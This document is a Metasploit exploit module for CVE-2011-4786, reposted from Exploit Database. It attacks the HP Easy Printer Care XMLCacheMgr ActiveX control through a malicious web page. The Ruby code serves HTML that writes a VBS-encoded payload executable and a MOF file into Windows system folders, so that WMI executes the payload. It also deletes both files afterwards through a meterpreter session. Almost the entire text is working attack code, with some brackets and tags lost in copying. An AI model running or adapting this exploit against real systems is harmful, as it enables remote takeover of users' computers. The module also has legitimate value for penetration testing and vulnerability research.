HP Easy Printer Care – XMLCacheMgr Class ActiveX Control Remote Code Execution (Metasploit)

Exploit Database
116 阅读

作者： Metasploit

日期： 2012-01-18
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18381/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

include Msf::Exploit::WbemExec

def initialize(info = {})

super(update_info(info,

'Name' => 'HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution',

'Description'=> %q{

This module allows remote attackers to place arbitrary files on a users file

system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr"

class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll

2.7.2.0).

Code execution can be achieved by first uploading the payload to the remote

machine embeddeding a vbs file, and then upload another mof file, which enables

Windows Management Instrumentation service to execute the vbs. Please note that

this module currently only works for Windows before Vista.

'License'=> MSF_LICENSE,

'Author' =>

[

'Andrea Micalizzi',# aka rgod original discovery

'juan vazquez',# Metasploit module

'References' =>

[

[ 'CVE', '2011-4786'],

[ 'BID', '51396'],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-013/' ],

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space' => 2048,

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

#Windows before Vista

[ 'Automatic', { } ],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jan 11 2012'))

end

# The following handles deleting the copied vbs payload and mof file

# See "struts_code_exec.rb" and "ms10_026_dbldecode.rb" for more information.

def on_new_session(client)

if client.type != "meterpreter"

print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")

print_error("The vbs payload and mof file must be removed manually.")

return

end

return if not @var_mof_name

return if not @var_vbs_name

# stdapi must be loaded before we can use fs.file

client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

cmd = "C:\\windows\\system32\\attrib.exe -r " +

"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"

client.sys.process.execute(cmd, nil, {'Hidden' => true })

begin

print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")

client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")

print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")

client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")

rescue ::Exception => e

print_error("Exception: #{e.inspect}")

end

def on_request_uri(cli, request)

unless request['User-Agent'] =~ /MSIE/

send_not_found(cli)

print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")

return

end

# Using Windows Management Instrumentation service to execute the payload.

# Using code from "blackice_downloadimagefileurl.rb". See it for more information.

var_xmlcachemgr = rand_text_alpha(rand(5)+5)

var_mof_function_name = rand_text_alpha(rand(5)+5)

content = <<-EOS

<html>

<head>

var #{var_xmlcachemgr} = new ActiveXObject('HPESPRIT.XMLCacheMgr.1');

function #{var_mof_function_name}() {

#{var_xmlcachemgr}.CacheDocumentXMLWithId(

"c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\#{@var_mof_name}.mof",

unescape("#{@mof_content}"),

);

}

#{var_xmlcachemgr}.CacheDocumentXMLWithId(

"C:\\\\WINDOWS\\\\system32\\\\#{@var_vbs_name}.vbs",

unescape("#{@vbs_content}"),

);

setTimeout("#{var_mof_function_name}()", 4000);

</script>

</head>

</html>

EOS

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end

def exploit

# In order to save binary data to the file system the payload is written to a .vbs

# file and execute it from there.

@var_mof_name = rand_text_alpha(rand(5)+5)

@var_vbs_name = rand_text_alpha(rand(5)+5)

print_status("Encoding payload into vbs...")

payload = generate_payload_exe

@vbs_content = Rex::Text.to_hex(Msf::Util::EXE.to_exe_vbs(payload))

print_status("Generating mof file...")

@mof_content = Rex::Text.to_hex(generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs"))

super

end